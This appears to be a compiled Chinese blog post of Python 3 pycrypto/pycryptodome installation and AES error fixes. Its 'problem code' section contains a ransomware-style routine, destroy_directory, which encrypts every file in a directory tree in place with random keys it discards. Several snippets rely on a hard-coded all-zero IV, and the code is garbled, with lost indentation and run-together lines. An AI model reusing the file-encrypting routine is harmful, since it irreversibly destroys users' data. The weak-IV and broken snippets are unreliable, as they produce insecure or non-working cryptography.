python3 安装Crypto 出现的问题

python3 import Crypto 失败的解决办法 (AES对称加密使用 模块)
# 先导入所需要的包

pip3 install Crypto

# 再安装pycrypto

pip3 install pycrypto

from Crypto.Cipher import AES  # 就成功了

-------------------------------

python3安装crypto出错,及解决方法

首先我用的python3.5的版本

问题的由来,我想通过python去实现RSA加密算法时,破解某网站的js加密认证,网上说需要安装pycrypto,我就去进行pip安装了

pip install pycrypto
错误信息如下

error: Microsoft Visual C++ 14.0 is required. Get it with "Microsoft Visual C++ Build
经过网上查询信息,才知道这个库以及不再更新了,所以安装的时候会出一些错,因为c++编译环境有所问题吧

后来我发现了这个库 pycryptodome,它是和上面这个库一样的,实现了一些加密算法

pip install pycryptodome
很好,安装很顺利的成功了

于是我就很开心的打开pycharm,进行代码书写了,但是呢?我发现我怎么不能顺利的导包

from Crypto.PublicKey import RSA
pycharm也是提醒我书写有误,但我看官方文档的例子,它也是这样的导包的,我不信还是运行了程序,果然还是出错了

ImportError: No module named 'Crypto'
最后才发现,我需要在python35中改下包的名字,

# 这是我pycryptodome库安装的目录
# C:\python35\Lib\site-packages
 
# 在这个目录你找到这个文件夹的名字:crypto
# 将这个文件夹的名字改为: Crypto
通过上面的操作,就能成功的导入了

---------------------------------

from Crypto.Util.py3compat import byte_string ImportError: cannot import name 'byte_string'

pip3 uninstall pycrypto
pip3 uninstall pycryptodome
pip3 install pycryptodome
1
2
关于Crypto的安装问题,参考
https://www.cnblogs.com/fawaikuangtu123/p/9761943.html

===============================================

问题代码:

def pad(s):

return s + b"\0" * (AES.block_size - len(s) % AES.block_size)   #将s与AES.block_size整数倍对齐

def encrypt(message, key, key_size=256):           #对文件进行

message = pad(message)                          #获取对齐后的文件流

#iv = Random.new().read(AES.block_size)             #

iv = os.urandom(16)             #

#iv = str(iv).encode('utf-8')

#key = str(key).encode('utf-8')

#print(type(iv))

message = message.decode("utf8", errors="replace")

key = key.encode('utf-8')

iv = iv.decode("utf8", errors="replace")

cipher = AES.new(key, AES.MODE_CBC, b'0000000000000000')                     #执行加密前的设置

#    cipher = cipher.decode('utf-8')

return iv + str(cipher.encrypt(message.encode('utf-8')))               #加密返回

def encrypt_file(file_name, key):          #执行文件加密函数,就是对文件打开,写入

with open(file_name, 'rb') as fo:

plaintext = fo.read()

enc = encrypt(plaintext, key)

with open(file_name, 'wb') as fo:

fo.write(bytes(enc.encode('utf-8')))

#creates key with n lenght for 'encrypt_file' function

def create_key(n):                #生成密钥函数

key = ''.join([random.choice(string.ascii_letters + string.digits) for n in range(n)])  #这里会循环n次每次random随机函数会从输入的序列中随机取一个数<str>类型,并加入到key字符串中

return key

#calls encrypt_file function for files in location, subdirectories of location

def destroy_directory(location):

for root, _, files in os.walk(location):       #将输入的文件路径,分离分为根目录,文件夹名称,和文件列表

for fil in files:

fname = os.path.join(root, fil)        #从文件列表中取文件名与根目录组合形成文件路径

encrypt_file(fname,create_key(32))     #执行文件加密

print(fname + " is encrypted")

print("---Action completed!---")

#finish_control = 1 #listener function ends#     #这个位设置,结束listen函数,表明文件加密全部完成,也是结束加密程序的位置

global finish_control #making it global, it's now available for listener function

finish_control = 1

----------------------------------------------------------------------

报错解决:TypeError: Object type class 'str' cannot be passed to C code

text=text.encode("utf-8")
key=key.encode("utf-8")
iv=key.encode("utf-8")

明文,密钥,IV都要编码

======================================================

ValueError: IV must be 16 bytes long问题的解决

在这个里边儿 AES.new(self.key, self.mode)加上这样一串字符就可以了,就想这样:

    cryptor = AES.new(self.key, self.mode, b'0000000000000000')

6

用这个:

from Crypto.Cipher import AES
import binascii,osdef aes_encrypt(plaintext):key = "00112233445566778899aabbccddeeff"iv = os.urandom(16)aes_mode = AES.MODE_CBCobj = AES.new(key, aes_mode, iv)ciphertext = obj.encrypt(plaintext)return ciphertext

工作方式如下:

>>> aes_encrypt("TestTestTestTest")
'r_\x18\xaa\xac\x9c\xdb\x18n\xc1\xa4\x98\xa6sm\xd3'
>>>

区别在于:

>>> iv =  binascii.hexlify(os.urandom(16))
>>> iv
'9eae3db51f96e53f94dff9c699e9e849'
>>> len(iv)
32
>>> iv = os.urandom(16)
>>> iv
'\x16fdw\x9c\xe54]\xc2\x12!\x95\xd7zF\t'
>>> len(iv)
16
>>>

====================================

'bytes' object has no attribute 'encode'

python3中,编码的时候区分了字符串和二进制
encode 改为 decode 就可以了

========================================

python3 UnicodeDecodeError: 'utf-8' codec can't decode byte 0x8b in position 1: invalid start byte

Python3

代码:

from urllib.request import urlopen
from urllib.request import Request
 
url = "http://www.baidu.com"
ua_header = {"User-Agent":"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0;"}
#url作为Request()方法的参数
request = Request(url, headers = ua_header)
 
#向指定的url发送请求
response = urlopen(request)
 
#类文件对象的支持 文件对象的操作方法
html = response.read()
#打印字符串
print(html.decode("utf8"))

报错:

UnicodeDecodeError: 'utf-8' codec can't decode byte 0x8b in position 1: invalid start byte
解决方案:

print(html.decode("utf8"))
改成
print(html.decode("utf8", errors="replace"))
虽然问题解决了但是,中间遇到一个问题,不是很明白,

第一次把

print(html.decode("utf8"))
改成
print(html.decode("utf8", errors="replace"))
完美解决报错问题,

(UnicodeDecodeError: 'utf-8' codec can't decode byte 0x8b in position 1: invalid start byte)

但是后面又写了几遍代码,写成

print(html.decode("utf8", errors="replace"))
有几次,会出现乱码问题,如果再改成
print(html.decode("utf8"))
之后,也不报错,也不乱码,两个问题完美都解决了。

python3 Crypto使用出现的问题相关推荐

  1. python3 Crypto环境

    前言 最开始想尝试在windows下面安装python3.6,虽然python安装成功,但在安装Cryto模块用pip3 install pycrypto老是会报错.老夫搞了半天,最终决定在linux ...

  2. [crypto]-52-python3中rsa(签名验签加密解密)aes(ecb cbc ctr)hmac的使用,以及unittest测试用

    环境: 在ubuntu14.04下,记得安装:sudo pip3 install pycrypto 代码示例1: =========================== import base64 f ...

  3. [GDG CTF 2022] 几个小题,等WP

    pwn-counter 作出来的基本都是入门题,这题给了源码,有3个功能1是counter++,2是counter--,但到1就不再减,3是给flag但要求counter==0.由于counter是字 ...

  4. python3 安装模块_python3 Crypto模块的安装与使用

    前言 安装Cryto模块用pip3 install pycrypto老是会报错.搞了半天,最终决定在linux下面去做. 以下流程限于linux系统: Crypto不是自带的模块,需要下载. 我下载了 ...

  5. python3 安装Crypto 出现的问题

    python3 import Crypto 失败的解决办法 (AES对称加密使用 模块) # 先导入所需要的包 pip3 install Crypto # 再安装pycrypto pip3 insta ...

  6. python3.6/3.7中安装Crypto模块

    from Crypto.Cipher import AES 在python中要使用到crypto相关的库,但是网上的解决方法一大片,能用的没有几个,而且能安装的没有几个,首先我告诉大家为什么不能安装, ...

  7. Python3模块Crypto改为pycryptodome

    安装: # 安装方式1: pip3 install pycryptodome# 安装方式2: pip3 install -i https://pypi.douban.com/simple pycryp ...

  8. python3 windows环境 安装加密库 crypto

    直接安装Crypto是不好使的.因为历史原因导致的比较混乱,引用外部博友的解释内容如下: pycrypto.pycrytodome和crypto是一个东西,crypto在python上面的名字是pyc ...

  9. Python3 安装Crypto模块

    本文仅供学习交流使用,如侵立删!demo下载见文末 安装Crypto模块 pip install pycryptodome 本文仅供学习交流使用

最新文章

  1. ubuntu安装python3.6_Ubuntu16.04怎样安装Python3.6
  2. 获取客户端真实IP地址
  3. Xamarin 2017.11.1更新
  4. Java面向对象之继承,方法重写,super关键字,员工类系列继承题
  5. python读文件的三个方法read()、readline()、readlines()详解
  6. 自研海外PCDN系统技术架构与演进
  7. 常用 SQL Server 规范集锦
  8. 我开源的软件只能我拿来赚钱
  9. SharePoint开发中怎样使用Visual Studio给你的Web Part加入图标
  10. php极速链,php PHP极速链 战群源码系列(全自动采集更新+引流神器无数据库版) WEB(ASP,PHP,...) 261万源代码下载- www.pudn.com...
  11. 204. Count Primes 1
  12. 百万在线的美拍直播弹幕系统架构实现
  13. GIS技巧100例——10ArcGIS计算图斑椭球面积
  14. vue常见面试题(附带答案) 超实用!!建议收藏!!
  15. 校园网IPv6免流量上网
  16. 解决echarts的title和legend重合问题(转)
  17. Anaconda 虚拟环境:pyuic之找不到模块之最后的希望(最新)
  18. 【蓝桥杯】 C++ 顺子日期
  19. Google PR劫持(转)
  20. 〖3D激光点云〗激光雷达点云bin文件读取和显示!

热门文章

  1. ajax请求拿到多条数据拼接显示在页面中
  2. 关于html以及js相关格式验证的记录
  3. AJAX Tookits -- ConfirmButton
  4. 01 辅助函数之加密函数
  5. hello程序的运行过程-从计算机系统角度
  6. @Resource VS @Autowired
  7. java基础知识系列---垃圾收集
  8. 夺命雷公狗---ECSHOP---08---商品页的拇改成星星
  9. ios程序 调试log宏的添加
  10. 如果有一天生你养你的两个人都走了